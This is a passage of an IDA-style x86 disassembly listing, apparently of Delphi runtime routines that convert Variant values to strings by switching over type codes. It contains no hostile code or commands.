; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, [ebx+8] ; jumptable 40011997 case 6 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_50] call sub_400113EC mov edx, [ebp+var_50] mov eax, esi call sub_40004B0C jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011A90: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, [ebx+8] ; jumptable 40011997 case 7 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_54] call sub_40011424 mov edx, [ebp+var_54] mov eax, esi call sub_40004B0C jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011AAF: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, esi ; jumptable 40011997 case 8 mov edx, [ebx+8] mov edx, [edx] call sub_40004AAC jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011AC0: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo lea edx, [ebp+var_58] ; jumptable 40011997 case 11 mov eax, [ebx+8] movzx eax, word ptr [eax] call sub_4001145C mov edx, [ebp+var_58] mov eax, esi call sub_40004B0C jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011ADD: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo lea edx, [ebp+var_5C] ; jumptable 40011997 case 16 mov eax, [ebx+8] movsx eax, byte ptr [eax] call sub_40007C98 mov edx, [ebp+var_5C] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011AFA: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo lea edx, [ebp+var_60] ; jumptable 40011997 case 17 mov eax, [ebx+8] movzx eax, byte ptr [eax] call sub_40007C98 mov edx, [ebp+var_60] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011B17: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo lea edx, [ebp+var_64] ; jumptable 40011997 case 18 mov eax, [ebx+8] movzx eax, word ptr [eax] call sub_40007C98 mov edx, [ebp+var_64] mov eax, esi call sub_400048D8 jmp loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011B34: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, [ebx+8] ; jumptable 40011997 case 19 mov eax, [eax] xor edx, edx push edx push eax lea eax, [ebp+var_68] call sub_40007D84 mov edx, [ebp+var_68] mov eax, esi call sub_400048D8 jmp short loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011B51: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, [ebx+8] ; jumptable 40011997 case 20 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_6C] call sub_40007D84 mov edx, [ebp+var_6C] mov eax, esi call sub_400048D8 jmp short loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011B6D: ; CODE XREF: sub_400116DC+2BBj ; DATA XREF: sub_400116DC:off_4001199Eo mov eax, [ebx+8] ; jumptable 40011997 case 12 mov edx, eax mov eax, esi call sub_400116DC jmp short loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011B7B: ; CODE XREF: sub_400116DC+2B5j ; sub_400116DC+2BBj ; DATA XREF: ... lea edx, [ebp+var_70] ; default ; jumptable 40011997 cases 0,1,9,10,13-15 mov eax, ebx call sub_40011524 mov edx, [ebp+var_70] mov eax, esi call sub_400048D8 jmp short loc_40011BB9 ; --------------------------------------------------------------------------- loc_40011B91: ; CODE XREF: sub_400116DC+2A4j mov eax, esi call sub_40004884 mov edx, eax mov eax, ebx call sub_40011654 test al, al jnz short loc_40011BB9 lea edx, [ebp+var_74] mov eax, ebx call sub_40011524 mov edx, [ebp+var_74] mov eax, esi call sub_400048D8 loc_40011BB9: ; CODE XREF: sub_400116DC+95j ; sub_400116DC+BDj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40011C0F loc_40011BC6: ; CODE XREF: sub_400116DC+531j lea eax, [ebp+var_74] mov edx, 7 call sub_400048A8 lea eax, [ebp+var_58] mov edx, 3 call sub_40005020 lea eax, [ebp+var_4C] mov edx, 0Bh call sub_400048A8 lea eax, [ebp+var_20] mov edx, 4 call sub_40005020 lea eax, [ebp+var_10] mov edx, 4 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40011C08: ; DATA XREF: sub_400116DC+19o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40011BC6 ; --------------------------------------------------------------------------- loc_40011C0F: ; CODE XREF: sub_400116DC+52Bj ; DATA XREF: sub_400116DC+4E5o pop esi pop ebx mov esp, ebp pop ebp retn sub_400116DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40011C18 proc near ; CODE XREF: sub_40011DFC+247p ; sub_40011DFC+496p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_40011CC2 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_10] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_40011CA5 push dword ptr fs:[eax] mov fs:[eax], esp push 8 push 0 push 400h push ebx lea eax, [ebp+var_10] push eax mov eax, off_4001B064 mov eax, [eax] call eax movzx edx, word ptr [ebx] mov cx, 8 call sub_4000E034 push esi lea eax, [ebp+var_14] mov edx, [ebp+var_8] call sub_4000511C mov eax, [ebp+var_14] mov ecx, 7FFFFFFFh mov edx, 1 call sub_40005174 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40011CAC loc_40011C9C: ; CODE XREF: sub_40011C18+92j lea eax, [ebp+var_10] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_40011CA5: ; DATA XREF: sub_40011C18+2Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40011C9C ; --------------------------------------------------------------------------- loc_40011CAC: ; CODE XREF: sub_40011C18+8Cj ; DATA XREF: sub_40011C18+7Fo xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40011CC9 loc_40011CB9: ; CODE XREF: sub_40011C18+AFj lea eax, [ebp+var_14] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_40011CC2: ; DATA XREF: sub_40011C18+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40011CB9 ; --------------------------------------------------------------------------- loc_40011CC9: ; CODE XREF: sub_40011C18+A9j ; DATA XREF: sub_40011C18+9Co pop esi pop ebx mov esp, ebp pop ebp retn sub_40011C18 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40011CD0 proc near ; CODE XREF: sub_40011DFC+27Fp var_10 = byte ptr -10h push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov esi, edx mov ebx, eax lea eax, [ebp+var_10] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_40011D26 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx lea eax, [ebp+var_10] call sub_4000E700 lea eax, [ebp+var_10] call ds:off_4001F29C lea edx, [ebp+var_10] mov eax, esi call sub_40011DFC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40011D2D loc_40011D1D: ; CODE XREF: sub_40011CD0+5Bj lea eax, [ebp+var_10] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_40011D26: ; DATA XREF: sub_40011CD0+18o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40011D1D ; --------------------------------------------------------------------------- loc_40011D2D: ; CODE XREF: sub_40011CD0+55j ; DATA XREF: sub_40011CD0+48o pop esi pop ebx mov esp, ebp pop ebp retn sub_40011CD0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40011D34 proc near ; CODE XREF: sub_40011DFC+4B2p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx xor ecx, ecx mov [ebp+var_20], ecx mov [ebp+var_4], edx mov ebx, eax mov eax, [ebp+var_4] test eax, eax jz short loc_40011D50 xor edx, edx mov [eax], edx loc_40011D50: ; CODE XREF: sub_40011D34+16j xor eax, eax push ebp push offset loc_40011DEC push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_C] movzx eax, word ptr [ebx] call sub_40012D98 mov [ebp+var_5], al cmp [ebp+var_5], 0 jz short loc_40011DD6 lea eax, [ebp+var_1C] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_40011DCF push dword ptr fs:[eax] mov fs:[eax], esp push 8 mov ecx, ebx lea edx, [ebp+var_1C] mov eax, [ebp+var_C] mov ebx, [eax] call dword ptr [ebx+1Ch] mov eax, [ebp+var_4] push eax lea eax, [ebp+var_20] mov edx, [ebp+var_14] call sub_4000511C mov eax, [ebp+var_20] mov ecx, 7FFFFFFFh mov edx, 1 call sub_40005174 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40011DD6 loc_40011DC6: ; CODE XREF: sub_40011D34+A0j lea eax, [ebp+var_1C] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_40011DCF: ; DATA XREF: sub_40011D34+4Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40011DC6 ; --------------------------------------------------------------------------- loc_40011DD6: ; CODE XREF: sub_40011D34+3Cj ; sub_40011D34+9Aj ; DATA XREF: ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40011DF3 loc_40011DE3: ; CODE XREF: sub_40011D34+BDj lea eax, [ebp+var_20] call sub_40005008 retn ; --------------------------------------------------------------------------- loc_40011DEC: ; DATA XREF: sub_40011D34+1Fo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40011DE3 ; --------------------------------------------------------------------------- loc_40011DF3: ; CODE XREF: sub_40011D34+B7j ; DATA XREF: sub_40011D34+AAo movzx eax, [ebp+var_5] pop ebx mov esp, ebp pop ebp retn sub_40011D34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40011DFC proc near ; CODE XREF: sub_4000E7B0+19p ; sub_4000EBF8+1Fp ... var_90 = tbyte ptr -90h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 0Eh loc_40011E04: ; CODE XREF: sub_40011DFC+Dj push 0 push 0 dec ecx jnz short loc_40011E04 push ebx push esi mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_40012341 push dword ptr fs:[eax] mov fs:[eax], esp movzx eax, word ptr [ebx] movzx edx, ax cmp edx, 14h ; switch 21 cases ja loc_40012057 ; default ; jumptable 40011E2E cases 10,14,15 jmp ds:off_40011E35[edx*4] ; switch jump ; --------------------------------------------------------------------------- off_40011E35 dd offset loc_40011E89 ; DATA XREF: sub_40011DFC+32r dd offset loc_40011E95 ; jump table for switch statement dd offset loc_40011EBD dd offset loc_40011ED8 dd offset loc_40011EF2 dd offset loc_40011F13 dd offset loc_40011F34 dd offset loc_40011F51 dd offset loc_40011F6E dd offset loc_4001203E dd offset loc_40012057 dd offset loc_40011F86 dd offset loc_4001202D dd offset loc_4001203E dd offset loc_40012057 dd offset loc_40012057 dd offset loc_40011FA1 dd offset loc_40011FBC dd offset loc_40011FD7 dd offset loc_40011FF2 dd offset loc_40012010 ; --------------------------------------------------------------------------- loc_40011E89: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o mov eax, esi ; jumptable 40011E2E case 0 call sub_40005008 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011E95: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o cmp byte_4001AA10, 0 ; jumptable 40011E2E case 1 jz short loc_40011EAB mov dx, 8 mov ax, 1 call sub_4000DBF4 loc_40011EAB: ; CODE XREF: sub_40011DFC+A0j mov eax, esi mov edx, dword_4001AA14 call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011EBD: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o lea edx, [ebp+var_4] ; jumptable 40011E2E case 2 movsx eax, word ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_4] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011ED8: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o lea edx, [ebp+var_8] ; jumptable 40011E2E case 3 mov eax, [ebx+8] call sub_40007C98 mov edx, [ebp+var_8] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011EF2: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o fld dword ptr [ebx+8] ; jumptable 40011E2E case 4 add esp, 0FFFFFFF4h fstp [esp+90h+var_90] wait lea eax, [ebp+var_C] call sub_40008E14 mov edx, [ebp+var_C] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011F13: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o fld qword ptr [ebx+8] ; jumptable 40011E2E case 5 add esp, 0FFFFFFF4h fstp [esp+90h+var_90] wait lea eax, [ebp+var_10] call sub_40008E14 mov edx, [ebp+var_10] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011F34: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o push dword ptr [ebx+0Ch] ; jumptable 40011E2E case 6 push dword ptr [ebx+8] lea eax, [ebp+var_14] call sub_400113EC mov edx, [ebp+var_14] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011F51: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o push dword ptr [ebx+0Ch] ; jumptable 40011E2E case 7 push dword ptr [ebx+8] lea eax, [ebp+var_18] call sub_40011424 mov edx, [ebp+var_18] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011F6E: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o push esi ; jumptable 40011E2E case 8 mov eax, [ebx+8] mov ecx, 7FFFFFFFh mov edx, 1 call sub_40005174 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011F86: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o lea edx, [ebp+var_1C] ; jumptable 40011E2E case 11 movzx eax, word ptr [ebx+8] call sub_4001145C mov edx, [ebp+var_1C] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011FA1: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o lea edx, [ebp+var_20] ; jumptable 40011E2E case 16 movsx eax, byte ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_20] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011FBC: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o lea edx, [ebp+var_24] ; jumptable 40011E2E case 17 movzx eax, byte ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_24] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011FD7: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o lea edx, [ebp+var_28] ; jumptable 40011E2E case 18 movzx eax, word ptr [ebx+8] call sub_40007C98 mov edx, [ebp+var_28] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40011FF2: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o mov eax, [ebx+8] ; jumptable 40011E2E case 19 xor edx, edx push edx push eax lea eax, [ebp+var_2C] call sub_40007D84 mov edx, [ebp+var_2C] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012010: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o push dword ptr [ebx+0Ch] ; jumptable 40011E2E case 20 push dword ptr [ebx+8] lea eax, [ebp+var_30] call sub_40007D84 mov edx, [ebp+var_30] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_4001202D: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o mov eax, [ebx+8] ; jumptable 40011E2E case 12 mov edx, eax mov eax, esi call sub_40011DFC jmp loc_400122CB ; --------------------------------------------------------------------------- loc_4001203E: ; CODE XREF: sub_40011DFC+32j ; DATA XREF: sub_40011DFC:off_40011E35o lea edx, [ebp+var_34] ; jumptable 40011E2E cases 9,13 mov eax, ebx call sub_40011C18 mov edx, [ebp+var_34] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012057: ; CODE XREF: sub_40011DFC+2Cj ; sub_40011DFC+32j ; DATA XREF: ... mov edx, eax ; default ; jumptable 40011E2E cases 10,14,15 sub dx, 100h jz short loc_40012067 dec dx jz short loc_40012076 jmp short loc_4001208F ; --------------------------------------------------------------------------- loc_40012067: ; CODE XREF: sub_40011DFC+262j mov eax, esi mov edx, [ebx+8] call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012076: ; CODE XREF: sub_40011DFC+267j lea edx, [ebp+var_38] mov eax, ebx call sub_40011CD0 mov edx, [ebp+var_38] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_4001208F: ; CODE XREF: sub_40011DFC+269j test ah, 40h jz loc_400122A3 movzx eax, ax and eax, 0FFFFBFFFh cmp eax, 14h ; switch 21 cases ja loc_4001228D ; default ; jumptable 400120A9 cases 0,1,9,10,13-15 jmp ds:off_400120B0[eax*4] ; switch jump ; --------------------------------------------------------------------------- off_400120B0 dd offset loc_4001228D ; DATA XREF: sub_40011DFC+2ADr dd offset loc_4001228D ; jump table for switch statement dd offset loc_40012104 dd offset loc_40012121 dd offset loc_4001213D dd offset loc_40012160 dd offset loc_40012183 dd offset loc_400121A2 dd offset loc_400121C1 dd offset loc_4001228D dd offset loc_4001228D dd offset loc_400121D2 dd offset loc_4001227F dd offset loc_4001228D dd offset loc_4001228D dd offset loc_4001228D dd offset loc_400121EF dd offset loc_4001220C dd offset loc_40012229 dd offset loc_40012246 dd offset loc_40012263 ; --------------------------------------------------------------------------- loc_40012104: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o lea edx, [ebp+var_3C] ; jumptable 400120A9 case 2 mov eax, [ebx+8] movsx eax, word ptr [eax] call sub_40007C98 mov edx, [ebp+var_3C] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012121: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o lea edx, [ebp+var_40] ; jumptable 400120A9 case 3 mov eax, [ebx+8] mov eax, [eax] call sub_40007C98 mov edx, [ebp+var_40] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_4001213D: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, [ebx+8] ; jumptable 400120A9 case 4 fld dword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+90h+var_90] wait lea eax, [ebp+var_44] call sub_40008E14 mov edx, [ebp+var_44] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012160: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, [ebx+8] ; jumptable 400120A9 case 5 fld qword ptr [eax] add esp, 0FFFFFFF4h fstp [esp+90h+var_90] wait lea eax, [ebp+var_48] call sub_40008E14 mov edx, [ebp+var_48] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012183: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, [ebx+8] ; jumptable 400120A9 case 6 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_4C] call sub_400113EC mov edx, [ebp+var_4C] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_400121A2: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, [ebx+8] ; jumptable 400120A9 case 7 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_50] call sub_40011424 mov edx, [ebp+var_50] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_400121C1: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, esi ; jumptable 400120A9 case 8 mov edx, [ebx+8] mov edx, [edx] call sub_4000511C jmp loc_400122CB ; --------------------------------------------------------------------------- loc_400121D2: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o lea edx, [ebp+var_54] ; jumptable 400120A9 case 11 mov eax, [ebx+8] movzx eax, word ptr [eax] call sub_4001145C mov edx, [ebp+var_54] mov eax, esi call sub_40005044 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_400121EF: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o lea edx, [ebp+var_58] ; jumptable 400120A9 case 16 mov eax, [ebx+8] movsx eax, byte ptr [eax] call sub_40007C98 mov edx, [ebp+var_58] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_4001220C: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o lea edx, [ebp+var_5C] ; jumptable 400120A9 case 17 mov eax, [ebx+8] movzx eax, byte ptr [eax] call sub_40007C98 mov edx, [ebp+var_5C] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012229: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o lea edx, [ebp+var_60] ; jumptable 400120A9 case 18 mov eax, [ebx+8] movzx eax, word ptr [eax] call sub_40007C98 mov edx, [ebp+var_60] mov eax, esi call sub_40005158 jmp loc_400122CB ; --------------------------------------------------------------------------- loc_40012246: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, [ebx+8] ; jumptable 400120A9 case 19 mov eax, [eax] xor edx, edx push edx push eax lea eax, [ebp+var_64] call sub_40007D84 mov edx, [ebp+var_64] mov eax, esi call sub_40005158 jmp short loc_400122CB ; --------------------------------------------------------------------------- loc_40012263: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, [ebx+8] ; jumptable 400120A9 case 20 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+var_68] call sub_40007D84 mov edx, [ebp+var_68] mov eax, esi call sub_40005158 jmp short loc_400122CB ; --------------------------------------------------------------------------- loc_4001227F: ; CODE XREF: sub_40011DFC+2ADj ; DATA XREF: sub_40011DFC:off_400120B0o mov eax, [ebx+8] ; jumptable 400120A9 case 12 mov edx, eax mov eax, esi call sub_40011DFC jmp short loc_400122CB ; --------------------------------------------------------------------------- loc_4001228D: ; CODE XREF: sub_40011DFC+2A7j ; sub_40011DFC+2ADj ; DATA XREF: ... lea edx, [ebp+var_6C] ; default ; jumptable 400120A9 cases 0,1,9,10,13-15 mov eax, ebx call sub_40011C18 mov edx, [ebp+var_6C] mov eax, esi call sub_40005044 jmp short loc_400122CB ; --------------------------------------------------------------------------- loc_400122A3: ; CODE XREF: sub_40011DFC+296j mov eax, esi call sub_40005008 mov edx, eax mov eax, ebx call sub_40011D34 test al, al jnz short loc_400122CB lea edx, [ebp+var_70] mov eax, ebx call sub_40011C18 mov edx, [ebp+var_70] mov eax, esi call sub_40005044 loc_400122CB: ; CODE XREF: sub_40011DFC+94j ; sub_40011DFC+BCj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40012348 loc_400122D8: ; CODE XREF: sub_40011DFC+54Aj lea eax, [ebp+var_70] mov edx, 2 call sub_40005020 lea eax, [ebp+var_68] mov edx, 5 call sub_400048A8 lea eax, [ebp+var_54] mov edx, 3 call sub_40005020 lea eax, [ebp+var_48] mov edx, 4 call sub_400048A8 lea eax, [ebp+var_38] mov edx, 2 call sub_40005020 lea eax, [ebp+var_30] mov edx, 5 call sub_400048A8 lea eax, [ebp+var_1C] mov edx, 3 call sub_40005020 lea eax, [ebp+var_10] mov edx, 4 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40012341: ; DATA XREF: sub_40011DFC+18o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400122D8 ; --------------------------------------------------------------------------- loc_40012348: ; CODE XREF: sub_40011DFC+544j ; DATA XREF: sub_40011DFC+4D7o pop esi pop ebx mov esp, ebp pop ebp retn sub_40011DFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40012350 proc near ; CODE XREF: sub_400123C8+7Ap var_10 = word ptr -10h var_8 = dword ptr -8 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov esi, edx mov ebx, eax lea eax, [ebp+var_10] push eax call sub_4000CDD8 xor eax, eax push ebp push offset loc_400123BA push dword ptr fs:[eax] mov fs:[eax], esp mov edx, esi lea eax, [ebp+var_10] call sub_4000E700 lea eax, [ebp+var_10] call ds:off_4001F29C cmp [ebp+var_10], 0Dh jz short loc_4001239A mov dx, 0Dh mov ax, 101h call sub_4000DBF4 loc_4001239A: ; CODE XREF: sub_40012350+3Bj mov eax, ebx mov edx, [ebp+var_8] call sub_4000621C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400123C1 loc_400123B1: ; CODE XREF: sub_40012350+6Fj lea eax, [ebp+var_10] call sub_4000E3D8 retn ; --------------------------------------------------------------------------- loc_400123BA: ; DATA XREF: sub_40012350+18o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400123B1 ; --------------------------------------------------------------------------- loc_400123C1: ; CODE XREF: sub_40012350+69j ; DATA XREF: sub_40012350+5Co pop esi pop ebx mov esp, ebp pop ebp retn sub_40012350 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400123C8 proc near ; CODE XREF: sub_4000E894+19p var_C = dword ptr -0Ch push ebx push esi push ecx mov ebx, edx mov esi, eax movzx eax, word ptr [ebx] cmp eax, 0Dh jg short loc_400123E7 jz short loc_40012424 sub eax, 1 jb short loc_400123FC jz short loc_40012405 sub eax, 8 jz short loc_40012424 jmp short loc_40012449 ; --------------------------------------------------------------------------- loc_400123E7: ; CODE XREF: sub_400123C8+Dj sub eax, 101h jz short loc_4001243E sub eax, 3F08h jz short loc_40012430 sub eax, 4 jz short loc_40012430 jmp short loc_40012449 ; --------------------------------------------------------------------------- loc_400123FC: ; CODE XREF: sub_400123C8+14j mov eax, esi call sub_40006204 jmp short loc_4001247D ; --------------------------------------------------------------------------- loc_40012405: ; CODE XREF: sub_400123C8+16j cmp byte_4001AA10, 0 jz short loc_4001241B mov dx, 0Dh mov ax, 1 call sub_4000DBF4 loc_4001241B: ; CODE XREF: sub_400123C8+44j mov eax, esi call sub_40006204 jmp short loc_4001247D ; --------------------------------------------------------------------------- loc_40012424: ; CODE XREF: sub_400123C8+Fj ; sub_400123C8+1Bj mov eax, esi mov edx, [ebx+8] call sub_4000621C jmp short loc_4001247D ; --------------------------------------------------------------------------- loc_40012430: ; CODE XREF: sub_400123C8+2Bj ; sub_400123C8+30j mov eax, esi mov edx, [ebx+8] mov edx, [edx] call sub_4000621C jmp short loc_4001247D ; --------------------------------------------------------------------------- loc_4001243E: ; CODE XREF: sub_400123C8+24j mov edx, ebx mov eax, esi call sub_40012350 jmp short loc_4001247D ; --------------------------------------------------------------------------- loc_40012449: ; CODE XREF: sub_400123C8+1Dj ; sub_400123C8+32j mov edx, esp movzx eax, word ptr [ebx] call sub_40012D98 test al, al jz short loc_40012471 mov eax, esi call sub_40006204 mov ecx, eax mov edx, offset dword_40012484 mov eax, [esp+0Ch+var_C] call sub_40003D9C test al, al jnz short loc_4001247D loc_40012471: ; CODE XREF: sub_400123C8+8Dj movzx eax, word ptr 